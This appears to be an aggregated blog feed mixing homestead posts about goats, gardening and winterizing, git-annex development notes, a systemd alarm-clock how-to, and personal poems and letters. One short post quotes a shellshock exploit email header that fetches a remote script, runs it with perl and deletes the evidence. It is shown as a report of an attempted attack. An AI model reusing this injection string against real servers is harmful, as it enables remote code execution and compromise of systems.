Joey chatter

first fire of winter \o/ all the hot water I want

Joey chatter
trick or SSL

So it seems that CAs will happily issue ssl certs for any .onion address at all, without checking if you own it, since it's not an official TLD. Here's someone getting a duplicate cert for facebook's new .onion address.

Wonder if someone could sneak a *.onion cert past one of the many fine CA's we all trust so much. Nah, they all do such a good job, surely not.

And, what about all those new TLDs? What was to stop someone getting a bogus cert before that was a valid TLD? Is there a multi-year waiting period to ensure any such bogus certs expire before rolling out a new TLD? (I assume that CA's do a good job of setting expiries, because it lets them make more $$.)

Joey chatter

Is this conf being filmed?

Anna (Anna and Mark: Waldeneffect)
Pulling down honeysuckle for goats
Barn cleanup

About a week ago, Mark walked past one of my fenceline cleanup zones and pulled a bit of honeysuckle from the top to within goat reach. Why didn't I think of that? With a little bit of effort, I realized, we could double the amount of honeysuckle that goes into our goats' rumens while also cleaning up our fencelines twice as quickly. Brilliant!

Feeding goatsNow that we've worked our way around to the barn, the out-of-reach honeysuckle is much further off the ground. In fact, I need a ladder to get to some of it. Artemesia climbs up the lower rungs to grab the falling vines and Abigail joins in the fun. I just have to be careful not to step on goat heads when I come down.

The trick with this method of feeding goats is not to give them too much at one time. Goats are awfully ornery about not wanting to eat anything that's been sitting on the ground for too long. Better to pull down one set of vines for breakfast and another for lunch than to beg them to eat the trodden-upon leaves that are now off the menu. Yes, even honeysuckle loses its luster after a few hours if you're Queen Abigail.

Joey chatter

"I'm opposed to sites that are designed in such a way that it's easy to hide high-quality content that challenges the existing narrative."

mark (Anna and Mark: Waldeneffect)
Feeding sorghum to goats
feeding sorghum stalks to our goats

We're expecting a killer frost just in time for Halloween.

That's why we cut the seed heads off the sorghum to be dried and saved for hens.

Anna gave the stalks to our goats thinking the leaves won't be as good after the frost.

Anna (Anna and Mark: Waldeneffect)
Indian Summer 2014
Indian summer

Two glorious days of Indian Summer made the garden part of our winterization list move along very quickly this week. I yanked out the big weeds between the oilseed radishes in the forest garden, where I'd mounded up the earth and tossed down cover-crop seeds without any sort of kill mulch to maintain my cover-crop monoculture. In the process, I found one last hazelnut, plus a half-ripe butternut that the goats greatly enjoyed.

Putting the garden to bed

Next stop was the back garden, where I yanked out all of the dying tomatoes along with their stakes. Despite lack of a killing frost, I'd actually stopped picking tomatoes a couple of weeks ago when cold weather turned the offerings insipid. But as I worked Monday, I stumbled across a cache of about ten fruits that were ripe red and luscious. A nice treat!

Meanwhile, I enjoyed the way the oats had filled in between the tomatoes and formed a near-solid sea of green. A much more pleasant view than the dwindling tomato plants!

Swiss chard

Finally, Kayla and I got to work on the active mule garden, where kale, mustard, lettuce, garlic, tatsoi, tokyo bekana, Swiss chard, peas, parsley, and strawberries are all still hard at work. I'll need at least one more day of pretty weather to bring this zone into line --- maybe I can squeeze that in before the forecast snow this weekend?

mark (Anna and Mark: Waldeneffect)
Lucy and the goats
Lucy and two goats separated by a cattle panel

How well do the goats and Lucy get along?

Artemesia wants to be friends, while Abigail is still standoffish.

Lucy seems most interested in what they leave behind and is learning to be respectful of their space when we move them.

Becoming "Welcome Back Cotter"​

Subbing in the same classroom 

Ginny Fletcher tied my shoe laces together 

in seventh grade.

Something inspires me to recommend old TV

between the word game

and eternal assignments.

I am having fun at this human experience

just like Cotter seemed to.

I always liked the teachers who enjoyed it.

Anna (Anna and Mark: Waldeneffect)
How much does a goat need to eat?
Morning goat, evening goat

I'm starting to wrap my head around goat digestion, but it's slow going since ruminants are so very different from any other animal I've ever spent time with. Goats are especially interesting because they're able to eat really fast, filling up their rumen, then they slowly digest that food over the course of the day. Which begs the question --- do our girls need to fill up their rumen once daily? Twice? Keep it full all day? Or what?

Artemesia's full tummy

I suspect that the lack of an easy answer is due to the vast differences in nutritional value of different food sources. Our girls have been gorging on honeysuckle leaves for the last week or so, which probably means that Artemesia's round evening belly is providing plenty of calories. Abigail's belly never looks as round, but I suspect that's just the older animal's natural shape since she's the head goat and surely eats quite a bit more than Artemesia does on an average day.

Goats eating honeysuckle

I'd be curious to hear from other ruminant wranglers (and especially from others captivated by caprines). Do you have a rule of thumb for how much a healthy goat should eat per day?

Joey git-annex devblog
day 229 S3 multipart

Some progress on the S3 upload not using multipart bug. The aws library now includes the multipart API. However, when I dug into it, it looks like the API needs some changes to get the ETAG of each uploaded part. Once that's fixed, git-annex should be able to support S3 multipart uploads, although I think that git-annex's own chunking is better in most situations -- it supports resuming uploads and downloads better. The main use case for S3 multipart seems to be using git-annex to publish large files.

Also, managed to get the backlog down from 100 to just 65 messages, including catching up on quite old parts of backlog.

mark (Anna and Mark: Waldeneffect)
Roll out nest box

using a laundry basket for a roll out nest box
We've been having a problem with our duck eggs getting dirty.

Tilting this laundry basket at an angle should make it into a roll out nest box.

The eggs roll back where we can get to them and the ducks can't step on them.

Anna (Anna and Mark: Waldeneffect)
Bees, goats, and marigolds
Bees on marigold

I don't usually think of marigolds as particularly bee-friendly plants. But anything blooming on a warm, sunny day in late October is a plus. I guess the ten cents I spent on last-chance seeds at the dollar store this summer was worth it.

Goat on a logSpeaking of "worth it," our goats continue to fill my days with pleasure. I don't really know what we'll do in about a week once they're done clearing all of our fencelines, but Abigail says they aren't going anywhere damp. Artemesia enjoyed her Saturday walk through the gully to browse on honysuckle and multiflora rose, but Abigail said that she didn't even want to get her feet damp. Nope, she'd just stand on the log and wait until we were ready to move on.

a programmable alarm clock using systemd

I've taught my laptop to wake up at 7:30 in the morning. When it does, it will run whatever's in my ~/bin/goodmorning script. Then, if the lid is still closed, it will go back to sleep again.

So, it's a programmable alarm clock that doesn't need the laptop to be left turned on to work.

But it doesn't have to make noise and wake me up (I rarely want to be woken up by an alarm; the sun coming in the window is a much nicer method). It can handle other tasks like downloading my email, before I wake up. When I'm at home and on dialup, this tends to take an hour in the morning, so it's nice to let it happen before I get up.

This took some time to figure out, but it's surprisingly simple. Besides ~/bin/goodmorning, which can be any program/script, I needed just two files to configure systemd to do this.


Description=good morning

OnCalendar=*-*-* 7:30



Description=good morning

ExecStart=/bin/systemd-inhibit --what=handle-lid-switch --why=goodmorning /bin/su joey -c /home/joey/bin/goodmorning


After installing those files, run (as root): systemctl enable goodmorning.timer; systemctl start goodmorning.timer

Then, you'll also need to edit /etc/systemd/logind.conf, and set LidSwitchIgnoreInhibited=no -- this overrides the default, which is not to let systemd-inhibit block sleep on lid close.

almost too easy

I don't think this would be anywhere near as easy to do without systemd, logind, etc. Especially the handling of waking the system at the right time, and the behavior around lid sleep inhibiting.

The WakeSystem=true relies on some hardware support for waking from sleep; my laptop supported it with no trouble but I don't know how broadly available that is.

Also, notice the ConditionACPower=true, which I added once I realized I don't want the job to run if I forgot to leave the laptop plugged in overnight. Technically, it will still wake up when on battery power, but then it should go right back to sleep.

Quite a lot of nice peices of systemd all working together here!

xfce workaround

If using xfce, xfce4-power-manager takes over handling of lid close from systemd, and currently prevents the system from going back to sleep if the lid is still closed when goodmorning finishes. Happily, there is an easy workaround; this configures xfce to not override the lid switch behavior:

xfconf-query -c xfce4-power-manager -n -p /xfce4-power-manager/logind-handle-lid-switch -t bool -s true

Other desktop environments may have similar issues.

why not a per-user unit?

It would perhaps be better to use the per-user systemd, not the system wide one. Then I could change the time the alarm runs without using root.

What's prevented me from doing this is that systemd-inhibit uses policykit, and policykit prevents it from being used in this situation. It's a lot easier to run it as root and use su, than it is to reconfigure policykit.

Joey chatter
no vixie cron on laptop

I switched my laptop to systemd-cron. vixie cron is a beloved old thing, but it wakes up once per minute, checks every cron job to see if any need to run, and that's not ideal on a laptop; it wastes battery power.

systemd-cron still has some rough edges, but it avoids doing that; no wakeups until the next time a job is scheduled to run. Actually, systemd-cron is just a few hundred lines of python code, that translate crontabs into systemd service files. It's developed independently of systemd, it just reuses systemd's timer support to implement cron and anacron.

One thing that systemd-cron doesn't support, since a standard crontab cannot express it, is the ability for the system to wake from suspend when a job is scheduled to run. Imagine a backup server that wakes up when the next backup is scheduled, and then goes back to sleep until the next day or next week. Or a mpd box that's not always left on, but wakes up to pull down the latest podcasts at the times their RSS feeds say they'll be published. Systemd does support timers that do that, so it can be done with a custom service file.

... Hmm, or a laptop that wakes up at 7 am to download the morning email blast and optionally to be an alarm clock. I think I might just code that up. :)


Here in Newark where I traveled to visit a Quaker and a poetry festival, I looked up Bristol on my smart phone and I found a account of a report on the top 10 places to live for conservatives, and there in place number 4, was Bristol, Tennessee.  

An anonymous bystander here with me, who is from Bristol, reacted immediately.  "I don't agree with it.  There are good libereals in Bristol.  We don't like conservatives."  She spoke in simple terms.

But for me, it felt like an obvious statement that needed to be said that we have been voted the fourth best place for conservatives to live.  And listening to the reaction of someone who doesn't like conservatives, I also realized that I get a huge benefit from the conservatives.  What I mean is, I like the conservatives.  I swim beside them in the YMCA, they serve cookies at the lighting of the downtown Christmas tree each year, and I shop for my coffee right next to them.  I am happy to know them just like anyone else.  They are human beings and they are not my enemies.  But they are not the majority.  They rely on the downtrodden to wash their dishes and to bag their goods when they shop.  Correct me if I am wrong but most of the people in Bristol don't consider themselves either conservative or liberal.  Most of us don't vote or sit in the city government.  

The main point is Bristol is not a political place.  Politics manages Bristol and perhaps if everyone did vote it would be a better place, but it is pretty nonpolitical, for better or for worst.   

Bristol is a beautiful place, an old Appalachian town, of neighborhoods and great biodiversity.  We are a warm and friendly people and we talk about everything including some politics, but certainly not politics all the time.  

Anna (Anna and Mark: Waldeneffect)
Win a free audiobook

One of our Wetknee Books authors recently turned her novel into an audiobook, and the result is inspiring! In fact, ever since listening to Kelly McCall Fumo's take on werewolves, Mark's been talking about turning my non-fiction ebooks into audiobooks too. I've dragged my feet so far because images are so important to my writing process, but you can get fired up along with Mark by listening to Aimee's novel "on tape" (as we old-fashioned people still think of audiobooks).

And if the embedded sample entices you in, why not enter the giveaway below and win one of three free audiobooks? Alternatively, if you're not a member of Audible, you can download a free audio copy right now by signing up for
Audible's free trial. Here are the links to Aimee's book on Audible and Amazon (and you can also find it by searching for "Shiftless" in the iTunes store). Happy listening!

Anna (Anna and Mark: Waldeneffect)
How to Make Money Homesteading

How to Make Money HomesteadingWhen Mark and I first started sharing Microbusiness Independence with the world, I was surprised by how many readers came back to me and said one of two things. First came: "Can we sell your chicken waterers for you?" I tried to explain that it was the uniqueness of our product that helped our microbusiness grow and thrive, but then I got the second comment: "I can't think of a unique product to make and sell!"

For me and Mark, ideas have always been the easy part. I probably come up with an ebook idea every week, only a small percentage of which I'll ever have time to write. Meanwhile Mark dreams up a similar number of undeveloped product ideas. But if you're among the multitude of readers who got stuck at the "What can I sell?" stage, Tim Young's How to Make Money Homesteading is the solution to your problem!

Tim splits his book up into three types of money-making ideas --- ways to make money from the land itself, ways to use your skills to make money, and ways to produce products to sell. There are probably hundreds of ideas scattered throughout the relevant chapters, including gems such as making chicken tractors for your neighbors, becoming an artificial insemination expert, and hiring others to provide classes on your land. There's also a stern admonition to eliminate your debt before embarking on your homestead microbusiness, which I thoroughly agree with, along with a chapter on saving money on the homestead and one on rethinking retirement.

My only complaint with How to Make Money Homesteading is that Tim doesn't separate the wheat from the chaff when presenting his money-making ideas. In my experience, unless you scale way up and/or bring your wares to a big-city population, selling farm-fresh eggs and similar products won't even pay minimum wage. But a chapter near the end of the book on marketing helps you disentangle some of the pros and cons of different types of businesses. Plus, the eighteen profiles of homesteading families (including one on us) show what's worked for other people on-the-ground, giving you an idea about the advantages and disadvantages of each money-making endeavor suggested in the book.

Which is all a long way of saying --- if you're scratching your head about how to make a living off the land, you should definitely read this book as part of your brainstorming session. And you're in luck because Tim has kindly offered to give one of our readers a free paperback copy of How to Make Money Homesteading. Enter the giveaway below for a chance to win!

a Rafflecopter giveaway

mark (Anna and Mark: Waldeneffect)
Goat gate upgrade
goat gate upgrade

Why am I adding a bottom slat to our new goat gate?

It turns out Artemesia can squeeze through an opening only a few inches wide.

I don't think she was trying to run away, she just wasn't ready to be tucked in.

Joey chatter

There are some really funny bits buried in the tedium of it all. A great overheard conversation from guys in the seat behind about greek yogurt and spoons and the difficulty of balancing creative expression with making money.

But the best part is the stretches where nothing happens. The mannequin hand is fumbling with the seat back latch tab, flipping it back and forth aimlessly, for 20 minutes. The only available freedom of movement. BTDT.

You find yourself desperately trying to find a distraction. The film runs in the background, impinging on your awareness just enough that you can't entirely concentrate on anything.

Anna (Anna and Mark: Waldeneffect)
Homestead winterization list

Draining the rain barrelYour first frost has come, or it's due any day, and you're probably ready for winter's slowdown. But taking a few hours now to get your homestead in order will save a few days in the spring. Here are the items at the top of our winterizing list this fall:

  • Drain and put away hoses.
  • Drain rain barrels and return gutter water to the ground.
  • Run your mower and any other summer-only motorized equipment dry. This will make engines start much better come spring!
  • Pull up and put away tomato stakes and other garden supports. Discard those old, blighted tomato plants somewhere far away from the garden.
  • Wait until the leaves drop, then wrap fig trees and other plants you're trying to grow beyond their usual hardiness range.

Cover crops

  • Plant any bare ground with cover crops if you've got time. (I'll plant rye for another week or so, but only in areas that I won't want to plant into until late May 2015.) If it's too late in the year for cover crops, mulch heavily, preferably with deep bedding from the chicken coop so the manure will have time to mellow before spring.
  • Kill mulch new garden areas for next year.

Overgrazed pasture

  • Cull excess animals and move chickens off pasture. We let ours run in the woods during the down season, but others move their poultry into greenhouses. Tractored chickens can be kept on pasture over the winter, but you'll tear up the ground a bit. Four-legged livestock can be put on stockpiled pasture, or can be moved inside onto deep bedding. The photo above shows what will happen if you skip this step...and that's after the ducks were only on an overused pasture for one extra week!
  • Reward yourself for all this extra effort by ordering any new perennials you have planned for fall planting. Ah, dreams of apples and hazels....

I'm sure I'm forgetting some essential winterizing elements, but that should get you started. What else is top of the list at this time of year on your homestead?

Joey chatter


"We're really gonna go ahead and limit the number of announcements, to let you guys get a little shut-eye before we land."


"By the way, um, we have handed out blankets. We are out of blankets."

Extended Facebook comment on purse carrying

I sometimes carry four or five bags.  I don't call them purses.  I read these comments wishing people were talking about why, the deep  meaning behind their purse toting or refusal.  I remember when my sister started being of age to have her period, and I was still a spitting tomboy.  She bled and I spit, so I guess we made quite the pair.  We seemed to toss back and forth the embodiment of feminism, I believe.  First when we played I ended up being the princess and she was the interesting stable boy.  :)  When she started menstruating, she refused to bring the convenient bag all the other girls brought with them to school.  Our heroic older sister came and told her all about how girls don't have to shave either and about the neat cloth sanitary pads, for the sake of reusing.  I became the girl soon, the "girly girl".  But funny as it is, I looked at all the purses and I said no way!  If I carry a bag for my stuff it is going to be a cool bag, without glitter.  And pink is beautiful, just as is wool for a purse.  Basically I got to make my own rules because of the pressures I saw my sister experience.  But then I met a girl I had a crush on and my sister got married.  I cut my hair short, and with the easy unshaved option that I had come to long ago, that was the next phase for me.  I pretty much am just into men now I think, but my hair or my bag don't exactly react to that.  I don't want to change myself to meet other people's expectations.  But I am interested in what other people think it really means for a woman to carry a purse or not to.  However my friend Heather was just observing that a high percent of women near her do carry purses.  So if that is true it must mean something.  Also, what about the men who want a shoulder bag, a clutch, or a purse?  What do they say?

Goodbye Earth

On the runway

I whisper an adieu

knowing what Earthlings all know,

I'll be here again

on the snug bumpy back

of Tierra.

Yet for this second

I allow air

to gather my pieces.

We feel the tires take off,


Like a diamond in the sky.


One static assurance,

a face,


thank God not a tunnel of light.


We are of the clouds now.

We cloud.

Maybe you are under foot

tremoring with joy,

pointing to our body 

high above

to a child.

Joey chatter

Pretty sure not postfix! ;)

Joey chatter

Received email message that attempted to exploit shellshock bug. Manually joined the attacker's CNC irc channel, and it seems at least 2 mail servers were actually successfully exploited this way.

Subject: () { :; }; cd /tmp ;curl -sO;lwp-download;fetch;perl ex.txt;rm -fr ex.*;
Anna (Anna and Mark: Waldeneffect)
A dangerous dog

Bad dog(Don't worry, no animals were actually harmed during the creation of this post.  I know I just ruined the dramatic impact of the story, but I couldn't have kept reading without that warning, so there you have it.)

Wednesday morning, Mark and I were supposed to go to the big city to get our teeth cleaned. Instead, we had to wrap our minds around the possibility of killing a dog.

Over the eight years we've lived way back in the woods, we've had only a handful of uninvited human visitors (good job, moat!), but nearly an equal number uninvited hunting dogs.  It seems like when hunting dogs get lost, they can feel Mark's good dog energy, and they come wagging their tails at our door.

Unfortunately, the two dogs I found beside the chicken coop Wednesday morning weren't wagging their tails.  One was sweet and submissive, but when I went to put a leash on her, the other dog growled and rushed at me with bared teeth.  Only standing tall and yelling with my voice in its deepest possible register prevented me from getting bitten, and I quickly retreated out of harm's way.

Good dogLuckily, the sweet dog had an owner's number on the collar, and I was able to catch his girlfriend on the phone.  She said her boyfriend was unreachable on a construction site, but she and her father would be right over.  We tied up Lucy just to be on the safe side, called the dentist to say we would be late, then settled down to wait.

When I finally heard the voices, father and daughter were fleeing up the floodplain away from the dog.  "He's never acted like that before," the girlfriend said, tears slipping out of her eyes.  Her father explained that he'd gone to put a leash on the dog, but had gotten bit for his trouble.  The teeth hadn't broken his skin, but the father still told us: "If you have to do something to protect yourselves or your animals, we'll understand."

We knew what he meant --- shoot the dog.  The trouble is, while we can be hard-hearted about chickens, dogs are people to us.  Did I ever mention that my brother once turned off Old Yeller partway through, telling me that was the end, because he knew what was coming and didn't want to have to soothe a grief-stricken sister?  Killing a dog in real life seems nearly unthinkable.

Preparing guns

But, as Mark pointed out after the dog's owners left, we also have a responsibility to our own chickens, goats, cats, and dog.  The biting dog had been lost in the woods for two days, and whether that was long enough for something like rabies to turn up or not, we had to protect the farm.  So we called the dentist once again to cancel, and then Mark went around checking on the state of our guns.  We didn't plan to do anything drastic while the dogs were simply resting at the edge of our core perimeter, but if they went after something, Mark resolved to shoot first and ask questions later.

Luckily, as I mentioned above, this story has a happy ending.  The dog's real owner couldn't be tracked down, but his hunting buddy could.  The young man showed up with a heavy stick, which he thrust into the dog's jaws as it came after him.  And as soon as the man snapped a leash onto the dog's collar, the canine calmed right down.  It turned out that the submissive dog was in heat, and the other dog was merely guarding his territory, but a calm, familiar face was enough to defuse the situation.  In the end, both dogs went home safely.

The moral of the story?  Have friends good enough to face down a possibly rabid dog to save man's best friend.  Or, maybe, have guns on hand to protect your homestead from four-footed beasts.  I'm not sure what I took away from the experience, actually, except for an overwhelming urge to sit in front of a fire with a cat on my lap, sipping some hot chocolate.  But I will be more cautious the next time I approach a strange dog...because hunting dogs sometimes bite.

Joey git-annex devblog
day 228 new AWS

New AWS region in Germany announced today. git-annex doesn't support it yet, unless you're using the s3-aws branch.

I cleaned up that branch, got it building again, and re-tested it with testremote, and then fixed a problem the test suite found that was caused by some changes in the haskell aws library.

Unfortunately, s3-aws is not ready to be merged because of some cabal dependency problems involving dbus and random. I did go ahead and update Debian's haskell-aws package to cherry-pick from a newer version the change needed for Inernet Archive support, which allows building the s3-aws branch on Debian. Getting closer..

mark (Anna and Mark: Waldeneffect)
Goats on the loose
goats on the porch

Today makes the 2nd goat escape so far.

How bad are they when they get out?

Not that bad...Artemesia yells a bit, but they seem fine once we tuck them back in.

Anna (Anna and Mark: Waldeneffect)
Goats cleaning off a fenceline

Goats cleaning up a fencelineI was a bit disappointed by our goats' inability to eat a thicket of weeds to the ground, but I've been thrilled at how well they do at cleaning honeysuckle off our fencelines.  Every evening, after walking the girls back to their coop, I move five cattle panels into a new arrangement to prepare for the next day.  Two panels lean up against the honeysuckle-covered fence, and the other three (and two fence posts and a bit of rope) complete the enclosure.

The next morning when I bring the goats to their new pasture, Abigail runs right for the honeysuckle and Artemesia soon follows suit.  They gorge for a couple of hours, then chew their cuds, then gorge again.  By dinnertime, that side of the fence is bare of honeysuckle leaves (although some stems remain, proving that the goats will have to regraze the same areas next year).

Honeysuckle on the fence

For the sake of comparison, the photos above show yesterday's fenceline (left) and the edge of tomorrow's fenceline (right).  After reading that honeysuckle leaves are equivalent in protein and total digestible nutrients to alfalfa hay, I can understand why our girls do such a good job removing the wily vine.

Goat eating cattails

Back when I was just reading about goats, I hadn't planned to let our new livestock within our core homestead.  In fact, I was going to keep them at least two fences away just in case the tame deer (which is how I thought of them) escaped and headed for my precious apple trees.  Now I'm thinking that maybe I overreacted.  The only goat escape from my cattle-panel tractors has been when I didn't tie one panel securely and our little doeling slid out through the gap...then grazed right beside the fence until I put her back in.

Now I'm thinking that goats are like chickens --- they don't want to put in the energy to escape as long as you keep them fat and happy.  The big question becomes: Can we keep the honysuckle buffet coming all winter?  Only time will tell!

mark (Anna and Mark: Waldeneffect)
Pool of newt
close up of cute newt

We used a kiddie pool for the ducks when we first got them, but it mostly got used as a place for frogs to meet and mate this year.

Dumping the pool was bad news for a bunch of late tadpoles, but we managed to transfer the above cute newt to the Sky Pond for his new Winter home.

Joey chatter

I remember compiling minix on one of these! Only for fun, as I was using linux on pentiums already at the time.

Joey chatter

Actually, the LHC has a safety feature that involves diverting the beam at a rock formation under a mountain if they need to dump it in an emergency. It is a death ray at that point; just one carefully aimed.

I was amused during our tour of CERN when someone had really specific questions about the engineering of that, down to the ms.

Anna (Anna and Mark: Waldeneffect)
Pros and cons of a fridge root cellar

Opening a fridge root cellar

"Would you mind putting up an article about the pros and cons of making and using your Fridge Root Cellar?" --- John

This is a very timely comment because many of you are probably trying to figure out what to do with all of those root crops (and fall fruits).  I'll hit the highlights in this post, but if you want to dig deeper, I've also set my ebook version on sale to $1.99 this week so you can learn the rest of the story for very little cash.  (I guess that would turn your replica into a $12 root cellar?)  And while you're over there, you'll probably want to snap up Low-Cost Sunroom, which is free today!

Humid conditions within a root cellar
Anyhow, back to the point.  The advantages of our fridge root cellar are pretty obvious.  It was cheap and easy to build and it really works.  I particularly love how accessible the contents are --- the cook in your family will be thrilled to be able to just pop open the door like you would in a powered refrigerator and remove a few carrots or a head of cabbage.  And the dampness of the earth means that your roots stay crisp and delicious for months after harvest.

Keeping a root cellar from freezing with a light bulb
$10 Root CellarThe downsides are relatively minor, but they are present.  We use a very small amount of electricity to ensure that the contents of our fridge root cellar don't freeze when outside temperatures drop below the mid-teens Fahrenheit.  If you lived in Alaska, you'd probably have to do a lot more.  And a fridge root cellar won't do much during the summer months, so you'll need a different storage method for your spring carrots.  (I just stick them in the real fridge inside.)  Finally, youtube viewers will call you white trash if you post a video showing how to build a fridge root cellar, and your neighbors might feel the same way, so this project is not for the thin-skinned.

I hope that helps you make your fridge-root-cellaring decision!  And I'd love to see some reader photos of your own incarnations of the cheap root-storage device if anyone's given our method (or something related) a try.  Email me at and I'll share your root cellars with our readers (and maybe even add them to the next edition of the book if they're unique enough!).

Melanie, an homage

There was a girl who she changed my life

she rapped like a woman,

cooking spite mushroom casserole

teaching me whiskey.

Together we went to school,

faced farmers market 

near empty of pockets

loved men with the same name.

She struggled 

to get her daughter 

to school on time,

but she gave me lifts abundant.

I wasn't entirely worth 

her warm cozy sister friendship.

She dressed hip 

and sassy.

She wore my kind of clothing

much more stylishly.

Her daughter said I was 

her only "not weird" friend.

Of course we might meet again.

But people like my friend

remind me of how short it all is.

Even the struggle

waiting at the food stamp office.

If you've got a friend,

hold on tight,

and don't by any means let go.

Joey git-annex devblog
day 227 info

Today, I've expanded git annex info to also be able to be used on annexed files and on remotes. Looking at the info for an individual remote is quite useful, especially for answering questions like: Does the remote have embedded creds? Are they encrypted? Does it use chunking? Is that old style chunking?

description: demo remote
uuid: 15b42f18-ebf2-11e1-bea1-f71f1515f9f1
cost: 250.0
type: rsync
encryption: encrypted (to gpg keys: 7321FC22AC211D23 C910D9222512E3C7)
chunking: 1 MB chunks
remote: ia3
description: test [ia3]
uuid: 12817311-a189-4de3-b806-5f339d304230
cost: 200.0
type: S3
creds: embedded in git repository (not encrypted)
bucket: joeyh-test-17oct-3
internet archive item:
encryption: not encrypted
chunking: none

Should be quite useful info for debugging too..

Yesterday, I fixed a bug that prevented retrieving files from Glacier.

What I wrote my family about health

Hey everyone,

I have been seeing a psychiatric doctor in Bristol who actually is young and sharp and holistically concerned, with both mind and body. (Dr. Coleman)
The background for the short news is I asked her today if I ever would be advised to go off my meds, understanding that they are a forever thing, but with also the understanding that things change and my recent loss of eleven pounds from persistent swimming indicates exercise that is equal to antidepressants. (one sentence?) I am on three meds: Abilify that treats psychosis, Depakote for moods, and Trihexiphenidol for parkinsonial like tremors that could easily turn into tardive diskinesia. According to Dr. Coleman bipolar people, who are not schizoaffective, which I think is a subcategory?? of bipolar who have pasts with psychosis, but who don't have that now... (me) can taper off their antipsychotic medications. Because I am stable and not psychotic, as long as I dont have a Manic episode, I will not have psychosis. According to Dr. Coleman bipolar people like me can have had psychosis and reach a level of stability that will not reverse. I can go off my Abilify and if that works, I can quit Trihexiphenidol too! It's my choice. Come January, I get the right to do that under doctor's orders if I want. :) That is how good my questions are I guess.Now all of you know me differently and know bipolar disorder in different ways. Some of you think I get manic, but I know that is hypomania, lesser mania. Some of you haven't seen me for a long time and know a different version of who I am. I think I am doing this, come January, going off 2 of my meds with the supervision of a good doctor. Maybe I could have five years ago. Anyway. What can you do? In January and the following months, be on the lookout for real psychosis in me. Not the typical stuff we all have, minor paranoia or even hypomania. But if you really want to help, let me know if I am seeming psychotic.Encouragement is always better medicine than complaining. I did mean to say that Dani should have power of attorney over me, if that is correct wording. Onward and upward. Every moment is our last, people. Have faith.Love,

Anna (Anna and Mark: Waldeneffect)
Late-fall cover-crop observations
Yellow jackets on fava beans

I've been noticing little snippets of cover-crop observations lately, none of which is quite enough to make its own post.  But maybe you won't mind a hodge podge.

The photo above shows how the yellow jackets are swarming around unopened fava-bean buds.  I assume they're stealing nectar somehow, a bit like the ants I noticed on okra flowers a few years ago.  Presumably unrelated to the yellow jackets, our fava beans have been blooming for weeks, but keep dropping the ovaries without setting fruit, so they might not be a good edible in our location after all.

Cutting oats for goats

Then there's the observation two of you made in comments, that the puny fava beans between my sunflowers are due to allelopathy.  I hadn't realized that sunflowers were allelopathic, but the internet suggests that is indeed the case, and that water dripping off sunflower leaves can carry chemicals that make surrounding plants do poorly.  I guess sunflowers aren't the best candidate for multi-species cover-cropping campaigns!

My last observation is four-footed.  Goats love oat leaves so much that I've been earmarking a large proportion of that cover crop for goat treats.  I can't help it!  I know the soil loves oat biomass too, but when Artemesia blats at me, I give in and provide any treat I can think of.  In case you're curious, my ability to spoil animals is nearly unparalleled....


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